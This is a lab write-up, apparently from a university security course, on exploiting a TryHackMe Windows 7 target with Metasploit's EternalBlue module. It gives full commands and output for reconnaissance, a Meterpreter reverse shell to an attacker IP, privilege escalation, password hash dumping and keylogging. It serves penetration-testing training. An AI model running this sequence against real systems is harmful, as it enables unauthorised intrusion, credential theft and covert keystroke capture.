

Experiment 9

Windows Exploitation using Metasploit Framework

AIM

To exploit a vulnerable Windows machine using Metasploit Framework in Kali Linux, gain a Meterpreter reverse shell, and perform post-exploitation activities such as privilege escalation, file access, screenshot capture, and keylogging.

REQUIREMENTS

Attacker	Kali Linux 2024 with Metasploit Framework 6+
Target	Windows XP SP2 / TryHackMe Blue room (Windows 7)
Exploit	MS17-010 (EternalBlue) — SMB vulnerability
Payload	windows/x64/meterpreter/reverse_tcp
Tool	msfconsole, nmap (for reconnaissance)

THEORY

Metasploit Framework is the world's most widely used penetration testing platform, containing hundreds of exploit modules, payloads, and auxiliary tools.

MS17-010 (EternalBlue) is a critical vulnerability in Windows SMBv1 discovered by the NSA and leaked by the Shadow Brokers group. It allows unauthenticated remote code execution and was famously used in the WannaCry ransomware attack of 2017.

Meterpreter is an advanced Metasploit payload that runs entirely in memory, making it difficult to detect. It provides an interactive shell with built-in commands for file management, screenshot capture, keylogging, hash dumping, and privilege escalation.

PROCEDURE

- Start the target Windows VM (or connect to TryHackMe Blue room).
- Run nmap to identify open ports and services on the target.
- Start Metasploit: msfconsole
- Search for the exploit: search ms17-010
- Load the module: use exploit/windows/smb/ms17_010_eternalblue
- View required options: show options
- Set RHOSTS to the target IP: set RHOSTS
- Set payload: set payload windows/x64/meterpreter/reverse_tcp
- Set LHOST to Kali IP: set LHOST
- Launch the exploit: exploit
- On success, a Meterpreter session opens.
- Post-exploitation: getsystem, getuid, screenshot, hashdump, keyscan_start.

- Open a Windows shell and read the flag files.

COMMANDS

```
# Reconnaissance
nmap -sV -sC -p 445,139,135 10.10.10.40

# Start Metasploit
msfconsole -q

# Load and configure EternalBlue exploit
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.3
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > exploit

# Post-exploitation commands
meterpreter > getuid
meterpreter > getsystem
meterpreter > sysinfo
meterpreter > hashdump
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > shell
C:\> type C:\Users\Jon\Desktop\flag3.txt
```

OUTPUT

```
# Nmap reveals open SMB port 445 on Windows 7
445/tcp open microsoft-ds Windows 7 Pro 7601 SP1

# Exploit execution
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010!
[+] ===== WIN =====
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.10.10.40:49158)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer : BLUE
OS : Windows 7 (6.1 Build 7601, Service Pack 1)

meterpreter > hashdump
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

C:\> type C:\Users\Jon\Desktop\flag3.txt
flag{access_the_machine}
```

RESULT

Windows exploitation was successfully performed using MS17-010 (EternalBlue) via Metasploit Framework. A Meterpreter session was opened as NT AUTHORITY\SYSTEM (highest privilege). Post-exploitation revealed NTLM password hashes, system information, and all 3 room flags were captured from the target Windows 7 machine.